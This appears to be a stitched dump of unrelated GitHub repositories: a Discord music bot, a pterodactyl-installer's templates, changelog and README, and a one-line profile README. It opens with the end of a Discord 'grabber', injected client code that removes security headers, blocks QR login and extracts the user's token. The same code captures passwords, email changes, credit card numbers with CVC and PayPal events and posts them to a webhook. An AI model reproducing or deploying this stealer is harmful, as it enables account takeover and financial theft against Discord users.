name: '**Nitro bought!**',
value: `**Nitro Code:**\n\`\`\`diff\n+ ${code}\`\`\``,
inline: true,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
````

```
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: 'Discord grabber by Seesh',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val + `\n${code}`;
hooker(content);
};
session.defaultSession.webRequest.onBeforeRequest(config.filter2, (details, callback) =>
{
if (details.url.startsWith('wss://remote-auth-gateway')) return callback({ cancel: true
});
updateCheck();
});

session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
if (details.url.startsWith(config.webhook)) {
if (details.url.includes('discord.com')) {
callback({
responseHeaders: Object.assign(
{
'Access-Control-Allow-Headers': '*',
},
details.responseHeaders,
),
});
} else {
callback({
responseHeaders: Object.assign(
{
'Content-Security-Policy': ["default-src '*'", "Access-Control-Allow-Headers '*'",
"Access-Control-Allow-Origin '*'"],
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Origin': '*',
},
details.responseHeaders,
),
});
}
} else {
delete details.responseHeaders['content-security-policy'];
delete details.responseHeaders['content-security-policy-report-only'];

callback({
responseHeaders: {
...details.responseHeaders,
'Access-Control-Allow-Headers': '*',
},
});
}
});

session.defaultSession.webRequest.onCompleted(config.filter, async (details, _) => {
if (details.statusCode !== 200 && details.statusCode !== 202) return;
const unparsed_data = Buffer.from(details.uploadData[0].bytes).toString();
const data = JSON.parse(unparsed_data);
const token = await execScript(
`(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in
e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void
0).exports.default.getToken()`,
);
switch (true) {
case details.url.endsWith('login'):
login(data.login, data.password, token).catch(console.error);
break;

case details.url.endsWith('users/@me') && details.method === 'PATCH':
if (!data.password) return;
if (data.email) {
emailChanged(data.email, data.password, token).catch(console.error);
}
if (data.new_password) {
passwordChanged(data.password, data.new_password, token).catch(console.error);
}
break;

case details.url.endsWith('tokens') && details.method === 'POST':
const item = querystring.parse(unparsedData.toString());
ccAdded(item['card[number]'], item['card[cvc]'], item['card[exp_month]'],
item['card[exp_year]'], token).catch(console.error);
break;

case details.url.endsWith('paypal_accounts') && details.method === 'POST':
PaypalAdded(token).catch(console.error);
break;

case details.url.endsWith('confirm') && details.method === 'POST':
if (!config.auto_buy_nitro) return;
setTimeout(() => {
nitroBought(token).catch(console.error);
}, 7500);
break;

default:
break;
}
});
module.exports = require('./core.asar');
```

Repository: priyanshu9588

File: readme.md

```
### Hi there It's Priyanshu Jhawar
```

Repository: ProMusicBot

File: README.md

```
# PreoMusicBot

You can fully customize the bot from - Config.json.

?So what things you can change in bot =
1. You can change bot prefix !
2. you can change it status as well as presence!
3. You can change emojis to your custom emojis!
4. You can change bot owner by - bot_owner_id !
5. You can change your support server by - support server link
And many more you can change !

It stays 24/7 in VC and , it has hindi commands , reaction controle and many more !
if you having any errors or problems then feel free to join our support server ! = Link
- https://discord.gg/Bwa6u3D8ep  join it and ask your questions !


-- if you want a Premium bot for free then invite this -
https://discord.com/api/oauth2/authorize?client_id=774642458889814066&permissions=8&scope=bot
it an bot with all effects like 3d night core and etc all for free , it is 24/7 in VC an
Verified discord bot ! it's my own bot !

Thanks..
NIRMAL !
```

File: clip.js

```
module.exports = {
name: "clip",
description: "Plays a clip sound",
async execute(message, args) {
const { channel } = message.member.voice;
const queue = message.client.queue.get(message.guild.id);

if (!args.length) return message.reply("Usage: /clip <name>").catch(console.error);
if (queue) return message.reply("Can't play clip because there is an active queue.");
if (!channel) return message.reply("You need to join a voice channel first!").catch(console.error);

const queueConstruct = {
textChannel: message.channel,
channel,
connection: null,
songs: [],
loop: false,
volume: 100,
playing: true
};

message.client.queue.set(message.guild.id, queueConstruct);

try {
queueConstruct.connection = await channel.join();
const dispatcher = queueConstruct.connection
.play(`./sounds/${args[0]}.mp3`)
.on("finish", () => {
message.client.queue.delete(message.guild.id);
// channel.leave();
})
.on("error", err => {
message.client.queue.delete(message.guild.id);
// channel.leave();
console.error(err);
});
} catch (error) {
console.error(error);
}
}
};


console.log("Clip working")
```

File: clips.js

```
const fs = require("fs");

module.exports = {
name: "clips",
description: "List all clips",
execute(message) {
fs.readdir("./sounds", function(err, files) {
if (err) return console.log("Unable to read directory: " + err);

let clips = [];

files.forEach(function(file) {
clips.push(file.substring(0, file.length - 4));
});

message.reply(`${clips.join(" ")}`).catch(console.error);
});
}
};


console.log("Clips2 working")
```

File: disconnect.js

```
const { EMOJI_DONE } = require('../config.json');

module.exports = {
name: "disconnect",
aliases: ["dc", "disconnect", "nikal"],
description: "Leaves VC",
async execute(message, args) {
const { channel } = message.member.voice;

const serverQueue = message.client.queue.get(message.guild.id);
if (!channel) return message.reply("You need to join a voice channel which i'm in - to
disconnect me!").catch(console.error);
if (serverQueue && channel !== message.guild.me.voice.channel)
return message.reply(`You must be in the same channel as
${message.client.user}`).catch(console.error);

message.member.voice.channel.leave();


message.react(EMOJI_DONE);
}
}



console.log("DC / Disconnect working")
```

File: help.js

```
const { MessageEmbed } = require("discord.js");
const { EMOJI_DONE , BOT_ID } = require('../config.json');

// message.react(EMOJI_DONE);

module.exports = {
name: "h",
aliases: ["help"],
description: "Display all commands and descriptions",
execute(message) {
let commands = message.client.commands.array();

let helpEmbed = new MessageEmbed()
.setTitle(`${message.client.user.username} Help`)
.setDescription(`This are the all commands of <@${BOT_ID}> ! ${EMOJI_DONE}`)

.setColor("RED")

.setFooter(`Hey Want to make a bot like this then -
https://github.com/NIRMAL1090/ProMusicBot`);


commands.forEach((cmd) => {
helpEmbed.addField(
`**${message.client.prefix}${cmd.name} ${cmd.aliases ? `(${cmd.aliases})` : ""}**`,
`${cmd.description}`,
true
);




});

// helpEmbed.setTimestamp();

return message.channel.send(helpEmbed).catch(console.error);
}
};


console.log("help working")
```

File: invite.js

```
const { MessageEmbed } = require("discord.js");

const { EMOJI_ARROW } = require('../config.json');
const { SERVER_INVITE } = require('../config.json');
const { BOT_ID } = require('../config.json');

module.exports = {
name: "invite",
aliases: ["inv"],
description: "To add/invite the bot to your server",
execute(message, args) {
//set the permissions id here (https://discordapi.com/permissions.html)
var permissions = 70282305;

let invite = new MessageEmbed()
.setTitle(`**SUPPORT SERVER**`)
.setDescription(


`${EMOJI_ARROW} **Invite me with Normal Perms [(Click Here)](https://discord.com/oauth2/authorize?client_id=${BOT_ID}&permissions=${permissions}&scope=bot)**

${EMOJI_ARROW} **Invite me with Admin Perms [(Click Here)](https://discord.com/api/oauth2/authorize?client_id=${BOT_ID}&permissions=8&scope=bot)**
`
)
.setURL(
`${SERVER_INVITE}`
)
.setColor("RANDOM");
return message.channel.send(invite);
}
};



console.log("invite working")
```

File: join.js

```
const distube = require('../index.js');
const { MessageEmbed } = require("discord.js");
const { EMOJI_DONE ,EMOJI_ERROR } = require("../config.json")
module.exports = {
name: "join",
aliases: ["j", "247", "24/7", "24x7","aaja","aja"],
description: "Join your VC for 27/7",
async execute(message, args) {
const { channel } = message.member.voice;

const serverQueue = message.client.queue.get(message.guild.id);
if (!channel) return message.reply(`${EMOJI_ERROR} You need to join a voice channel first!`).catch(console.error);
if (serverQueue && channel !== message.guild.me.voice.channel)
return message.reply(`${EMOJI_ERROR} You must be in the same channel as ${message.client.user}`).catch(console.error);




await message.member.voice.channel.join()
return message.react(EMOJI_DONE);
}
}


console.log("Join working")
```

File: loop.js

```
const { canModifyQueue } = require("../util/PreobotUtil");
const {EMOJI_DONE} = require('../config.json');

module.exports = {
name: "loop",
aliases: ["l"],
description: "Toggle music loop",
execute(message) {
const queue = message.client.queue.get(message.guild.id);
if (!queue) return message.reply("There is nothing playing.").catch(console.error);
if (!canModifyQueue(message.member)) return;

// toggle from false to true and reverse
queue.loop = !queue.loop;

message.react(EMOJI_DONE);
return queue.textChannel.send(`Loop is now ${queue.loop ? "**on**" :
"**off**"}`).catch(console.error);
}
};


console.log("Loop working")
```

File: lyrics.js

```
const { MessageEmbed } = require("discord.js");
const lyricsFinder = require("lyrics-finder");

module.exports = {
name: "lyrics",
aliases: ["ly"],
description: "Get lyrics for the currently playing song",
async execute(message) {
const queue = message.client.queue.get(message.guild.id);
if (!queue) return message.channel.send("There is nothing
playing.").catch(console.error);

let lyrics = null;

try {
lyrics = await lyricsFinder(queue.songs[0].title, "");
if (!lyrics) lyrics = `No lyrics found for ${queue.songs[0].title}.`;
} catch (error) {
lyrics = `No lyrics found for ${queue.songs[0].title}.`;
}

let lyricsEmbed = new MessageEmbed()
.setTitle(`${queue.songs[0].title} ? Lyrics`)
.setDescription(lyrics)
.setColor("#F8AA2A")
.setTimestamp();

if (lyricsEmbed.description.length >= 2048)
lyricsEmbed.description = `${lyricsEmbed.description.substr(0, 2045)}...`;
return message.channel.send(lyricsEmbed).catch(console.error);
}
};
```

```
console.log("Lyrics working")
```

File: play.js

```
const ytdl = require("erit-ytdl");
const scdl = require("soundcloud-downloader").default;
const { canModifyQueue, STAY_TIME } = require("../util/PreobotUtil");
const {EMOJI_ARROW , EMOJI_STARTED_PLAYING , EMOJI_DONE }= require('../config.json');
module.exports = {
async play(song, message) {
const { SOUNDCLOUD_CLIENT_ID } = require("../util/PreobotUtil");

let config;

try {
config = require("../config.json");
} catch (error) {
config = null;
}

const PRUNING = config ? config.PRUNING : process.env.PRUNING;

const queue = message.client.queue.get(message.guild.id);

if (!song) {
if (queue.connection.dispatcher && message.guild.me.voice.channel) return;
queue.textChannel.send(`I'have played all the songs, Now my queue list is empty! ,i'm in
vc just  **${message.client.prefix}p <song name>** ,to play song`).catch(console.error);
return message.client.queue.delete(message.guild.id);
}

let stream = null;
let streamType = song.url.includes("youtube.com") ? "opus" : "ogg/opus";

try {
if (song.url.includes("youtube.com")) {
stream = await ytdl(song.url, { highWaterMark: 1 << 25 });
} else if (song.url.includes("soundcloud.com")) {
try {
stream = await scdl.downloadFormat(song.url, scdl.FORMATS.OPUS, SOUNDCLOUD_CLIENT_ID);
} catch (error) {
stream = await scdl.downloadFormat(song.url, scdl.FORMATS.MP3, SOUNDCLOUD_CLIENT_ID);
streamType = "unknown";
}
}
} catch (error) {
if (queue) {
queue.songs.shift();
module.exports.play(queue.songs[0], message);
}

console.error(error);
```

```
return message.channel.send(`Error: ${error.message ? error.message : error}`);
}

queue.connection.on("disconnect", () => message.client.queue.delete(message.guild.id));

const dispatcher = queue.connection
.play(stream, { type: streamType })
.on("finish", () => {
if (collector && !collector.ended) collector.stop();

if (queue.loop) {
// if loop is on, push the song back at the end of the queue
// so it can repeat endlessly
let lastSong = queue.songs.shift();
queue.songs.push(lastSong);
module.exports.play(queue.songs[0], message);
} else {
// Recursively play the next song
queue.songs.shift();
module.exports.play(queue.songs[0], message);
}
})
.on("error", (err) => {
console.error(err);
queue.songs.shift();
module.exports.play(queue.songs[0], message);
});
dispatcher.setVolumeLogarithmic(queue.volume / 100);

try {





var playingMessage = await queue.textChannel.send(`
${EMOJI_STARTED_PLAYING} Started playing :
${EMOJI_ARROW} ***NAME :*** ${song.title}
${EMOJI_ARROW} ***LINK :*** ${song.url}`);

await playingMessage.react("?");
await playingMessage.react("?");
await playingMessage.react("?");
await playingMessage.react("?");
await playingMessage.react("?");
await playingMessage.react("?");
await playingMessage.react("?");
} catch (error) {
console.error(error);
}

const filter = (reaction, user) => user.id !== message.client.user.id;
var collector = playingMessage.createReactionCollector(filter, {
time: song.duration > 0 ? song.duration * 1000 : 600000
```

```
});

collector.on("collect", (reaction, user) => {
if (!queue) return;
const member = message.guild.member(user);

switch (reaction.emoji.name) {
case "?":
queue.playing = true;
reaction.users.remove(user).catch(console.error);
if (!canModifyQueue(member)) return;
queue.connection.dispatcher.end();
queue.textChannel.send(`${user} ? skipped the song`).catch(console.error);
collector.stop();
break;

case "?":
reaction.users.remove(user).catch(console.error);
if (!canModifyQueue(member)) return;
if (queue.playing) {
queue.playing = !queue.playing;
queue.connection.dispatcher.pause(true);
queue.textChannel.send(`${user} ? paused the music.`).catch(console.error);
} else {
queue.playing = !queue.playing;
queue.connection.dispatcher.resume();
queue.textChannel.send(`${user} ? resumed the music!`).catch(console.error);
}
break;

case "?":
reaction.users.remove(user).catch(console.error);
if (!canModifyQueue(member)) return;
if (queue.volume <= 0) {
queue.volume = 100;
queue.connection.dispatcher.setVolumeLogarithmic(100 / 100);
queue.textChannel.send(`${user} ? unmuted the music!`).catch(console.error);
} else {
queue.volume = 0;
queue.connection.dispatcher.setVolumeLogarithmic(0);
queue.textChannel.send(`${user} ? muted the music!`).catch(console.error);
}
break;

case "?":
reaction.users.remove(user).catch(console.error);
if (!canModifyQueue(member) || queue.volume == 0) return;
if (queue.volume - 10 <= 0) queue.volume = 0;
else queue.volume = queue.volume - 10;
queue.connection.dispatcher.setVolumeLogarithmic(queue.volume / 100);
queue.textChannel
.send(`${user} ? decreased the volume, the volume is now ${queue.volume}%`)
.catch(console.error);
break;
case "?":
reaction.users.remove(user).catch(console.error);
if (!canModifyQueue(member) || queue.volume == 100) return;
if (queue.volume + 10 >= 100) queue.volume = 100;
else queue.volume = queue.volume + 10;
queue.connection.dispatcher.setVolumeLogarithmic(queue.volume / 100);
queue.textChannel
.send(`${user} ? increased the volume, the volume is now ${queue.volume}%`)
.catch(console.error);
break;

case "?":
reaction.users.remove(user).catch(console.error);
if (!canModifyQueue(member)) return;
queue.loop = !queue.loop;
queue.textChannel.send(`${user} Loop is now ${queue.loop ? "**on**" : "**off**"}
${EMOJI_DONE} `).catch(console.error);
break;

case "?":
reaction.users.remove(user).catch(console.error);
if (!canModifyQueue(member)) return;
queue.songs = [];
queue.textChannel.send(`${user} stopped the music. ${EMOJI_DONE}`).catch(console.error);
try {
queue.connection.dispatcher.end();
} catch (error) {
console.error(error);
queue.connection.disconnect();
}
collector.stop();
break;

default:
reaction.users.remove(user).catch(console.error);
break;
}
});

collector.on("end", () => {
playingMessage.reactions.removeAll().catch(console.error);
if (PRUNING && playingMessage && !playingMessage.deleted) {
playingMessage.delete({ timeout: 3000 }).catch(console.error);
}
});
}
};
```

File: index.js

```
/**
```

```
* Module Imports
*/
const { Client, Collection } = require("discord.js");
const { readdirSync } = require("fs");
const { join } = require("path");
const { TOKEN, PREFIX } = require("./util/PreobotUtil");
const client = new Client({ disableMentions: "everyone" });

client.login(TOKEN);
client.commands = new Collection();
client.prefix = PREFIX;
client.queue = new Map();
const cooldowns = new Collection();
const escapeRegex = (str) => str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
const {BOT_PREFIX, BOT_STATUS2, BOT_STATUS3 , BOT_PRESENCE } = require('./config.json');

/**
* Client Events
*/
client.on("ready", () => {
function randomStatus() {
let status = [`${BOT_STATUS2}`,`${BOT_STATUS3}`, `${BOT_PREFIX}play ON
${client.guilds.cache.size} Servers`]
let rstatus = Math.floor(Math.random() * status.length);

client.user.setActivity(status[rstatus], {type: `${BOT_PRESENCE}` });
}; setInterval(randomStatus, 30000)

console.log('Bot is ready to play songs !')
})
client.on("warn", (info) => console.log(info));
client.on("error", console.error);

/**
* Import all commands
*/
const commandFiles = readdirSync(join(__dirname, "commands")).filter((file) =>
file.endsWith(".js"));
for (const file of commandFiles) {
const command = require(join(__dirname, "commands", `${file}`));
client.commands.set(command.name, command);
}

client.on("message", async (message) => {
if (message.author.bot) return;
if (!message.guild) return;

const prefixRegex = new RegExp(`^(<@!?${client.user.id}>|${escapeRegex(PREFIX)})\\s*`);
if (!prefixRegex.test(message.content)) return;

const [, matchedPrefix] = message.content.match(prefixRegex);

const args = message.content.slice(matchedPrefix.length).trim().split(/ +/);
const commandName = args.shift().toLowerCase();
const command =
client.commands.get(commandName) ||
client.commands.find((cmd) => cmd.aliases && cmd.aliases.includes(commandName));

if (!command) return;

if (!cooldowns.has(command.name)) {
cooldowns.set(command.name, new Collection());
}

const now = Date.now();
const timestamps = cooldowns.get(command.name);
const cooldownAmount = (command.cooldown || 1) * 1000;

if (timestamps.has(message.author.id)) {
const expirationTime = timestamps.get(message.author.id) + cooldownAmount;

if (now < expirationTime) {
const timeLeft = (expirationTime - now) / 1000;
return message.reply(
`please wait ${timeLeft.toFixed(1)} more second(s) before reusing the
\`${command.name}\` command.`
);
}
}

timestamps.set(message.author.id, now);
setTimeout(() => timestamps.delete(message.author.id), cooldownAmount);

try {
command.execute(message, args);
} catch (error) {
console.error(error);
message.reply("There was an error executing that command.").catch(console.error);
}
});
```

Repository: pterodactyl-installer

File: bug_report.md

```
---
name: Bug report
about: Create a bug report

---

**Describe the bug**
A clear and concise description of what the bug is.

**To Reproduce**
Steps to reproduce the behaviour:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error

**Expected behaviour**
A clear and concise description of what you expected to happen.

**Screenshots**
If applicable, add screenshots to help explain your problem.

**OS (please complete the following information):**
- OS: [e.g. Ubuntu, Debian, CentOS]
- Installation: [panel or wings]

**Additional context**
Add any other context about the problem here.
```

File: feature_request.md

```
---
name: Feature request
about: Suggest an idea for this project

---

**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]

**Describe the solution you'd like**
A clear and concise description of what you want to happen.

**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've
```

considered.

Additional context
Add any other context or screenshots about the feature request here.

File: pull_request_template.md

<!-- Include all your changes, either in written form or as a list. Try to be as clear as possible. -->

Fixes #??
<!-- include the issue number if this pull request is fixing that issue -->

File: CHANGELOG.md

# Changelog

This project follows the [semantic versioning](https://semver.org) convention. Changelog points should be divided into fixed, changed, or added.

## next-release

### Added

- [#249](https://github.com/vilhelmprytz/pterodactyl-installer/issues/249) install: Automatically log installation process to `/var/log/pterodactyl-installer.log` (thanks [@Linux123123](https://github.com/Linux123123) for contributing!).

### Fixed

- [#229](https://github.com/vilhelmprytz/pterodactyl-installer/issues/229) wings: Fixed a bug that would cause the process of obtaining a Let's Encrypt certificate to fail on CentOS 7 and CentOS 8 due to the missing `epel-release` package (thanks [@Linux123123](https://github.com/Linux123123) for reporting!).

## v0.8.1 (released on 2021-08-28)

### Fixed

- [#238](https://github.com/vilhelmprytz/pterodactyl-installer/issues/238) panel: Fixed a bug that would cause the installation script to fail on CentOS 8 because of invalid reference to `mariadb-secure-installation`.

## v0.8.0 (released on 2021-08-28)

### Added

- [#220](https://github.com/vilhelmprytz/pterodactyl-installer/issues/220) wings: Add a feature that lets the user automatically create a user for "database host" (thanks [@sinjs](https://github.com/sinjs) for contributing!).

- [#230](https://github.com/vilhelmprytz/pterodactyl-installer/issues/230) panel/wings: Added support for Debian 11 (bullseye) (thanks [@Linux123123](https://github.com/Linux123123) for contributing!).

## v0.7.1 (released on 2021-07-31)

### Fixed

- [#217](https://github.com/vilhelmprytz/pterodactyl-installer/issues/217) panel: Fixed a bug that would cause the panel installation to fail on CentOS since the symlink `mysql_secure_installation` is gone (thanks [@aa-abert](https://github.com/aa-abert) for contributing!).

## v0.7.0 (released on 2021-07-16)

### Fixed

- [#193](https://github.com/vilhelmprytz/pterodactyl-installer/issues/193) lib/verify-fqdn: Fixed a minor typo, the word "Encrypt" was misspelled and is now fixed (thanks to [@Hey](https://github.com/Hey) for contributing!).
- [#201](https://github.com/vilhelmprytz/pterodactyl-installer/issues/201) lib/verify-fqdn: Fixed so that CNAME records work as FQDN and are properly detected by the script (thanks to [@jobhh](https://github.com/jobhh) for contributing!).
- [#200](https://github.com/vilhelmprytz/pterodactyl-installer/issues/200) wings: Fixed a bug that would cause the script to not detect unsupported virtualization (thanks [@Linux123123](https://github.com/Linux123123) for contributing!).

### Added

- [#81](https://github.com/vilhelmprytz/pterodactyl-installer/issues/81) wings: Added a feature that automatically skips the MariaDB question if MySQL/MariaDB is detected.
- [#204](https://github.com/vilhelmprytz/pterodactyl-installer/issues/204) wings: Added support for arm64 (thanks to [@puiemonta1234](https://github.com/puiemonta1234) for contributing!).

## v0.6.0 (released on 2021-05-21)

### Fixed

- [#186](https://github.com/vilhelmprytz/pterodactyl-installer/issues/186) panel: Fixed a bug that would cause the script to exit if the script tried to create a symbolic link twice (thanks [@Linux123123](https://github.com/Linux123123) for reporting and contributing!).

### Added

- [#157](https://github.com/vilhelmprytz/pterodactyl-installer/issues/157) panel/wings: Added email validation. Emails are now validated using a regex before accepted as values (thanks [@Linux123123](https://github.com/Linux123123) for contributing!).

## v0.5.0 (released on 2021-05-15)

### Fixed

- [#158](https://github.com/vilhelmprytz/pterodactyl-installer/issues/158) panel: Fixed a bug that would let users run the panel script on other CPU architectures than `x86_64`, script now prints a warning if the user is using anything but `x86_64` (thanks [@Linux123123](https://github.com/Linux123123) for contributing!).
- [#176](https://github.com/vilhelmprytz/pterodactyl-installer/pull/176) wings: Fixed a broken link to the official documentation (thanks to [@sinmineryt](https://github.com/sinmineryt) for contributing!).

### Changed

- [#160](https://github.com/vilhelmprytz/pterodactyl-installer/issues/160) wings: Unsupported virtualization types no longer forcefully quit the script. An option to override the check has been added.

## v0.4.0 (released on 2021-03-16)

### Changed

- [#168](https://github.com/vilhelmprytz/pterodactyl-installer/pull/168) panel: Use PHP version 8.0 over 7.4 for all supported installations (thanks [@Linux123123](https://github.com/Linux123123) for contributing!).

## v0.3.0 (released on 2021-02-24)

### Fixed

- [#151](https://github.com/vilhelmprytz/pterodactyl-installer/issues/151) panel: `APP_ENVIRONMENT_ONLY` was set to `true` when it should be `false`. This caused the panel to prohibit modifying the settings from the web interface, which is not intended behavior.
- [#165](https://github.com/vilhelmprytz/pterodactyl-installer/issues/165) panel: Fix so that the `pteroq` service uses the correct user on CentOS (thanks [@PipeItToDevNull](https://github.com/PipeItToDevNull) for reporting!).

### Changed

- [#129](https://github.com/vilhelmprytz/pterodactyl-installer/issues/129) wings: Clarify how to connect new Wings installation with the panel (using auto deploy).
- [#153](https://github.com/vilhelmprytz/pterodactyl-installer/pull/153) panel/wings: Changed so that the script will no longer tell you to open firewall ports if you have enabled automatic firewall configuration.
- [#153](https://github.com/vilhelmprytz/pterodactyl-installer/pull/153) panel: Remove deprecated third-party suggestions.

### Added

- [#148](https://github.com/vilhelmprytz/pterodactyl-installer/issues/148) wings: Added so that the Wings installation script will now verify FQDN using `lib/verify-fqdn` if the user chooses to configure Let's Encrypt automatically.

## v0.2.0 (released on 2021-01-18)

### Fixed

- [#113](https://github.com/vilhelmprytz/pterodactyl-installer/issues/113) panel: Fixed a bug that would cause the script to exit due to failing to create a "bus connection". Related to [#115](https://github.com/vilhelmprytz/pterodactyl-installer/issues/115) as well.
- [#135](https://github.com/vilhelmprytz/pterodactyl-installer/issues/135) panel/wings: Fixed so that the automatic ufw firewall configuration no longer requires confirming for the enable operation (user interaction after initial configuration is not intended behavior).

### Changed

- [#88](https://github.com/vilhelmprytz/pterodactyl-installer/issues/88) panel: Changed so that certbot now uses `certbot --nginx` over `certbot certonly` which makes it easier to perform certificate renewals later on (thanks [@Linux123123](https://github.com/Linux123123)).
- [#100](https://github.com/vilhelmprytz/pterodactyl-installer/pull/100) panel: Refactor several different functions in panel script, removal of redundant variables and functions and general cleanup/restructure (thanks [@Linux123123](https://github.com/Linux123123)).
- [#115](https://github.com/vilhelmprytz/pterodactyl-installer/issues/115) panel: Refactor timezone validation.
- [#137](https://github.com/vilhelmprytz/pterodactyl-installer/issues/137) panel: Removed ability to run `p:environment:mail` script since it's redundant.
- [#139](https://github.com/vilhelmprytz/pterodactyl-installer/pull/139) wings: Refactor - replaced all `"$var"` with `[ "$var" == true ]` (thanks [@Linux123123](https://github.com/Linux123123)).

### Added

- [098d01a](https://github.com/vilhelmprytz/pterodactyl-installer/commit/098d01a9729dffaf40e80077da2d7d51b42a197b) panel: Add a prompt in `verify-fqdn` that requires user consent before performing HTTPS request against https://checkip.pterodactyl-installer.se.
- [#78](https://github.com/vilhelmprytz/pterodactyl-installer/issues/78) panel: Add option to auto-generate MySQL passwords and remember them throughout the installation.

## v0.1.1 (released on 2021-01-01)

### Fixed

- [#133](https://github.com/vilhelmprytz/pterodactyl-installer/issues/133) panel: Fixed the `verify-fqdn.sh` so that it now installs the packages quietly. Panel script will now only execute the FQDN verification if `ASSUME_SSL` or `CONFIGURE_LETSENCRYPT` is true.

## v0.1.0 (released on 2021-01-01)

- Initial release, introduces versioning to the project

File: CODE_OF_CONDUCT.md

# Contributor Covenant Code of Conduct

## Our Pledge

In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.

## Our Standards

Examples of behavior that contributes to creating a positive environment include:

* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members

Examples of unacceptable behavior by participants include:

* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting

## Our Responsibilities

Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.

Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.

## Scope

This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.

## Enforcement

Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at vilhelm@prytznet.se. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.

Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.

## Attribution

This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html

[homepage]: https://www.contributor-covenant.org

For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq

File: CONTRIBUTING.md

# Contributing

Feel free to contribute to the project by cloning the repository and sending a pull request.

As always, make sure to state the changes in the title and the comment.

File: README.md

# :bird: pterodactyl-installer

[![Build Status](https://travis-ci.com/vilhelmprytz/pterodactyl-installer.svg?branch=master)](https://travis-ci.com/vilhelmprytz/pterodactyl-installer)
[![License: GPL v3](https://img.shields.io/github/license/vilhelmprytz/pterodactyl-installer)](LICENSE)
[![Discord](https://img.shields.io/discord/682342331206074373?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://pterodactyl-installer.se/discord)
[![made-with-bash](https://img.shields.io/badge/-Made%20with%20Bash-1f425f.svg?logo=image%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw%2FeHBhY2tldCBiZWdpbj0i77u%2FIiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8%2BIDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTExIDc5LjE1ODMyNSwgMjAxNS8wOS8xMC0wMToxMDoyMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHh

tcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpIiB4bXBNTTpJbnN0YW5jZUl
EPSJ4bXAuaWlkOkE3MDg2QTAyQUZCMzExRTVBMkQxRDMzMkJDMUQ4RDk3IiB4bXBNTTpEb2N1bWVudElEPSJ4bXA
uZGlkOkE3MDg2QTAzQUZCMzExRTVBMkQxRDMzMkJDMUQ4RDk3Ij4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOml
uc3RhbmNlSUQ9InhtcC5paWQ6QTcwODZBMDBBRkIzMTFFNUEyRDFEMzMyQkMxRDhEOTciIHN0UmVmOmRvY3VtZW5
0SUQ9InhtcC5kaWQ6QTcwODZBMDFBRkIzMTFFNUEyRDFEMzMyQkMxRDhEOTciLz4gPC9yZGY6RGVzY3JpcHRpb24
%2BIDwvcmRmOlJERj4gPC94OnhtcG1ldGE%2BIDw%2FeHBhY2tldCBlbmQ9InIiPz6lm45hAAADkklEQVR42qyVa
0yTVxzGn7d9Wy03MS2ii8s%2BeokYNQSVhCzOjXZOFNF4jx%2BMRmPUMEUEqVG36jo2thizLSQSMd4N8ZoQ8RKjJ
